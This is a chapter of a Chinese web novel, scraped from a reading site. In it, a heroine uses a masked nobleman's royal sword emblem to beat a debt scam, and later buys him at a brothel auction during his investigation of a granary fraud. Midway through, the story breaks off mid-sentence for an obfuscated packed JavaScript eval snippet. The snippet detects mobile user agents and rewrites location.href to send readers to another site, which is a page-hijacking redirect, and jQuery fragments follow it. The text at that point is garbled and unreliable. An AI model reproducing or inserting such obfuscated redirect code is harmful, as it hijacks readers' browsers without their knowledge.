默认冷灰
24号文字
方正启体

2. 亮剑

作者:于胜本书字数:K更新时间:
    两人收摊后,去镇上拜访名医。名医把脉之后,沉思片刻,只道此毒奇特不可冒进,转而拿来针灸器材,在烛火上面消毒热烧。


    那尖刺入肉的画面,想想就让她起鸡皮疙瘩,她正襟危坐实则慌得不行。


    见江寂雪从一边点心盒里拿了颗糖果,塞进她的嘴里。


    顿时,口腔爆辣蔓延,她瞪大眼睛直视对方,偏还起了坏心思。


    “好东西要一起分享,来,你也吃一颗。”


    江寂雪接过糖,没多想,就扔进嘴里。


    庄梦蝶窃喜。


    “你,你,你,辣辣辣,这怎么是姜糖?”他嘟起嘴,想不到还有人整蛊到他头上,气得他喝白开水都塞牙缝。


    可他维持风度,撂下一句无聊,便风风火火躲去大厅。


    兴许是名医的针灸让堵塞的经脉得到舒展,之前的解毒剂得以更好发挥药效,疗程结束后,她觉着自己都能高歌一曲。


    兴致之至,庄梦蝶邀他上茶楼共饮。他们选在悦来酒肆对面茶铺,打坐喝茶。


    她看着对面店铺忙活的张掌柜,一阵冷笑,接着道:“说起这个‘赊账骗局’也和许任多扯不开联系。”


    “复盘来看,这个张掌柜早有预谋。‘先拿货后付款’的赊账服务是饵,专钓我们这种急于扩张但是又缺资本的小商户。他像个耐心的渔夫,就等着灾年物价飞涨,赊账额滚雪球,我们资不抵债,只能睁眼自投罗网。”


    她忽然笑了,“他算准了我手上有状元墨宝。这金字招牌可比香饽饽,他这才果断收网,拿着抵押合同将我赶走。”


    抬眼间眸中泛起冷光,她信誓旦旦道:“早晚,我要让他付出代价。”


    说得太过激情昂扬,指尖不小心擦到他的指腹,她的疑惑心又起,皇子的话,会手上起茧吗?难道是皇室护卫?皇子红人?


    她故意说起朝政,试着套话:“我们本指望朝廷救灾,可官府辩称义仓遭遇鼠灾,发不出粮食,百姓没了活路,小店纷纷倒闭我家也差不多那样。”


    像是应了她说的话,小二有气无力在门口叫卖。


    对坐的男人果然接话:“又是社仓鼠耗?”


    为什么是又?还没问出口,却发现对坐人


    的眼神聚焦变化。


    顺着他的目光,她后觉到三四个小厮打扮的人正拨开人群朝他们桌走来。为首的男人锦衣华服,正是张掌柜。


    见是他们,江寂雪便自顾自喝茶,直接无视,好似说,“你惹的麻烦,自己处理。”


    庄梦蝶暗骂一句见死不救,只能硬着头皮,静观其变。


    “庄姑娘,”张掌柜笑得和气,眼里却是冷淡算计,“又见面了,考虑得怎么样了?嫁给我儿子继续回酒肆当老板娘?”


    庄梦蝶想到他那肥猪儿子,忍住脱口而出的谩骂,果断拒绝,顺势牵住对面江寂雪的手,意思显而易见。


    张掌柜眼瞅着计划突变,神情更冷,“你这酒肆抵押给我,好像还不够还债。”


    庄梦蝶领教过他无赖脾性。无事不登三宝殿,前几日他都没啥动静,偏她手上刚有点银子就凑上来,敢情就是那小厮如实禀告。


    她心里算过账,铺面抵债绰绰有余。自己没去找他,他倒送上门来了。


    她看到江寂雪缩回去的手,青筋分明,轻而易举就能捏碎杯盏。


    怕他牵扯进来太多吃亏,她先一步摔杯,气氛突变,地面发出“咚”的一声。


    “张掌柜当初你可不这么说,”她四两拨千斤临危不乱,“酒肆抵债款,一笔勾销,若您觉得吃亏,不如我们上公堂去理论,是不是债款有诈?”


    她“嚯”得起身,不再当个软柿子。


    衙门里,官府老爷捻须沉吟,似是难以定断是非。庄梦蝶留恋刚到手的500两银票,眼看着官老爷和张掌柜眼神来往,脊背发凉。


    “欠债还钱,自是天经地义,那若还了钱,这抵押合同是否就此作废?”一道洪亮嗓音的质问响起,她看到江寂雪带着面具,像个神秘人一样从天而降。


    官老爷颔首:“那是自然。”


    “那好,我帮这姑娘还债。”迎着他的灼灼目光,庄梦蝶一脸不可置信。


    “姑娘你就把那房契,地契一并转我。我替你还欠款。”江寂雪言辞凿凿,势在必得的样子。


    庄梦蝶拼命给他使眼神,让他不要添乱。可他安之若素,甚至还冲她淡然一笑。


    她为他捏了好一把汗,却见他更加大胆地把剑置于公案上,慢条斯理地抚摸着剑鞘上的家族标志。


    云海翻腾,五爪神龙,皇室图腾。


    官老爷瞥见那纹路,像是不自信般瞪大眼睛,烫屁|股似的坐不住,眉开眼笑地鞠着身走到他面前。


    “阁下是?”官老爷态度180度大转变,还不忘擦掉额角冷汗,这哪是他能惹的大人物。


    叮~


    【宿主宿主,检测到皇室图腾,皇室成员就在附近,快去结识,兴许三皇子就能锁定。】


    庄梦蝶听到趾高气扬的人对自己耳语:“别担心,要什么,尽管说。”


    但见他嘴角弧度上扬,同时,挑衅地将宝剑慢慢抽出。


    官老爷更加谦卑,毕恭毕敬给江寂雪赐座,堪比伺|候祖宗。


    张掌柜脸色骤变,他惯会察言观色,看看官老爷,又朝身后小厮使了个眼色,后者飞溜出去也不知请何方高明。


    庄梦蝶眼观鼻,鼻观心,她虽然不懂那宝剑有啥价值,可她明明白白看到了官老爷的态度转变,那瞬间的敬畏和慌乱做不得假。


    于是,她抓住这微妙的权势倾斜,开始口若悬河地将店铺纠葛一一道尽。


    而张掌柜亦不复之前嚣张,嗫嚅地回答是非,不再夸大。


    就当众人以为庄梦蝶还清欠款本金,就可以收回铺子时,她直接说铺子她不打算收回,但是张掌柜要赔偿差价。


    另外,“大人明鉴,抵押合同仅限房契,地契,那么店里的用具我都有权带走。状元墨宝那些......”


    “我要拍卖。”她抬眼,讽刺地看向对手。


    张掌柜松了口气,哑巴吃黄莲他也照吃不误。最终,她在众目睽睽之下狮子大开口敲了张掌柜一笔。


    事后,庄梦蝶雇人不仅搬空了后厨所有锅碗瓢盆,连埋在后院的50坛女儿红都挖了出来,一坛不留,当众抬走。


    张掌柜就眼睁睁看着,没有阻拦,没有恼怒,神情分明像是送走瘟神。


    接二连三地救命解难,庄梦蝶内心疑惑,忍不住对他另眼相看。


    “你是什么神秘人物吗?王爷,皇子?”她试探道。


    江寂雪转眼看她一脸坏笑,“你猜?”


    “别看啦,我脸上有花吗?”


    庄梦蝶自觉盯着别人看很不礼貌,或许他戴面具不是太帅而是隐藏身份,她打算守株待兔。


    “来,跟我来,你衣服有破洞。”她转移话题,拉着他拐进街角成衣店。


    店小二热情接待,误认他们俩是夫妻,闹得她红了耳根,转头就躲进试衣间遮羞。


    隔着帘布,她看到换下粗布,穿上绸缎的男人,眼睛一亮。


    见他渊渟岳峙立于店内,她突然变得扭捏。


    她咳嗽着不敢正视,转念一想,自己最狼狈的时候都被对方看尽,好像也没必要藏着掖着。


    江寂雪剑不离身,目光频频看向窗外。


    庄梦蝶上前招呼却察觉他眼底的狠戾尚未散去。


    他注视着窗外树丛后的身影,警惕侧身,好似不想将她暴露。可这个保护性动作做了一半,又像是怕什么,他急匆匆出门追踪,撂下一句“那人在义仓出现过,你保护好自己。”


    庄梦蝶不明就里,却见江寂雪风一般冲了出去。


    那抹色彩就这样消失在人海,她在原地等了三天也没见人回来。


    无奈她留了封信给店家,自己先顺着记忆回了乡下。


    连着几日阴雨,屋顶漏雨,室内潮得厉害。云霁稍晴,她便雇村中工匠前来修缮。


    只是,小破洞不知怎么变成大洞,一来二去,房顶竟然塌陷。


    房梁上的老鼠窝跟着倒霉,掉下一堆发霉稻谷。


    庄梦蝶简直苦中作乐,老鼠瞰灯夜夜恼人,竟以这种方式被一网打尽。


    不得已,她只得重回客栈。出于某种直觉,她没再女装示人,而是束发戴冠,以公子扮相流连在茶楼酒肆。


    凭着职业敏感度她试吃各家招牌菜,默默在记事本上记下店铺位置,客群,价格等横纵比较。毕竟这些,都是她日后东山再起需要的调研。


    而城中,竟无一家专做新奇小吃的铺子。一个模糊的商业布局,结合她现代知识与系统食材的创业蓝图,在心中愈发鲜明。


    华灯初上,城中最不缺热闹,庄梦蝶随着人流闲逛,不知不觉就到了秦楼楚馆。


    她瞅着人家迎宾的俊男靓女,决心以后重开酒肆也来上那么一队。


    而只是稍作停顿,便被门口揽客姑娘的纤纤玉手给钩住。


    既来之则安之,她安慰自己听会琴便走,可莺莺燕燕


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333072|199201||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一窝蜂涌上来,吓得她慌不择路,活像个没见过世面的书生。


    管事嬷嬷眼毒,一眼就看出她细皮嫩肉不像常客,便凑过来笑吟吟问:“公子若是喜欢男倌儿,今儿正好来了新人。”


    她一听联想到景区那些腹肌男迎客,正欲拒绝,却听得系统出声。


    【头号真爱粉遭遇危险,位置更新】


    什么,江寂雪在这里,她忙不迭接受,只得硬着头皮让嬷嬷带路。


    此处布置更是清雅,只有淡淡的檀香,她正思忖着怎么挣脱,却瞥到前面一排全是戴面具的年轻男子。


    而最右侧男子的玄铁面具别出一格,下颚线条冷硬,即使隔着距离,庄梦蝶也认定是他。


    台上,管事正介绍到他:“这位新到的公子,绝对不会让各位失望,简直是兰陵王现世。”


    “三百五十两!”


    “四百!”


    叫价咬得很紧。


    庄梦蝶也吊着嗓子跟着喊了一声。


    却瞥见江寂雪开始紧咬自己的嘴唇,鲜血让薄唇看起来更欲......


    他怎么到现在还来这招勾|人,她以前是笑过他咳血后的嘴唇太撩|人,可也不是这时候用的啊。


    “800两!”


    锤子即将落下的瞬间,她喊出了声。


    最终,她买下了他,花光了几乎所有积蓄。


    房门被推开时,江寂雪几乎是被架进来的,庄梦蝶注意到他整个人瘫软无力。


    她挥退小厮,迫不及待锁上房门。


    然而,还没转身就被对方捂嘴吓了一跳。


    亏得这时候他摘了面具,对着一副神颜,她除了懵倒也没慌乱。江寂雪侧畔对她耳语,要求她配合自己演出戏。


    “演什么?”她像是来了兴致,俯身上前。


    江寂雪笑而不语,喝了口茶:“你买了我,不晓得接下来要发生什么事?”


    “我......”庄梦蝶想说自己真没实战经验,只是看过视频教学。


    “嘘~”江寂雪翻身上榻,动静故意很大。


    不得已,她也只得配合怪叫,时而娇嗔,时而急喘。还要附带两句夸奖“你好棒!”,“你真厉害!”


    走廊上有脚步声踮脚走过,很轻,但是确实存在。


    庄梦蝶羞|耻怪叫,扶额嘀咕:这里的服务难道还带盯梢要好评的吗?


    差不多一炷香时间,床上的男人指了指门外,又做了个跑掉加滑跪的手势。


    她总算有机会喝水询问,“你在这是?查案?”


    江寂雪故意压低声音:“义仓的账一直对不上,之前成衣店外的身影在义仓附近出现频繁,我追了数日,线索指引到这里。这间院子内部别有洞天。”


    “所以你以身入局,连命都不要?”她嘴上损他,心理对他的能力还是认可,毕竟一把宝剑耍得威风凛凛。


    “不入虎穴焉得虎子,再说成大事者不拘小节,何况那种药伤不到我。”他说得云淡风轻,仿佛刚被竞价拍卖的人不是他。


    “好了不起啊,能卖800两。”庄梦蝶想起自己又是一穷二白,直冒酸水。


    偏江寂雪还得意上了,温馨提示:“刚800只是买我一|夜,不是替我赎身,天亮你要留我,还得续费。”


    “什么?这是黑店啊!”她气得跳脚,可转念一想,她的视线自上而下扫了圈对面的男人,痛骂自己竟让宝珠蒙尘,不识摇钱树。


    江寂雪受不了那视线,终于起身,推开窗缝,环顾四周。“差不多了。”


    “嗯?”庄梦蝶肾上腺素飙升,这是她理解的他们俩要上房顶跑酷吗?


    果然,江寂雪伸手,握住她的手腕。特殊时刻,她也没想太多,咬牙闭眼,两人翻窗而出。


    月色朗朗,两道身影快如鬼魅。


    “还吃得消吗?”


    庄梦蝶喘着大气,赏他一个白眼,点头。


    他难得温和:“走不动的话,要不我背你?”


    对面目瞪口呆,却听得他继续贫嘴,“其实,我不叫江寂雪,在家里母亲都唤我乳名,但是出了家门,我是谁好像没人在乎……”


    谁说得,我在乎。可话到了嘴边,庄梦蝶觉得这话说出去都没人信,认识才几天,她又咽了回去。


    “啥小名?”她好奇道,“狗蛋,二丫那些嘛?”


    对方猝不及防被逗乐,“我在家排老三,母亲取小名就按甲乙丙丁……”


    她像是想起什么,看他的眼神都变了,“等等,你说你排第三,那是丙丙~”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)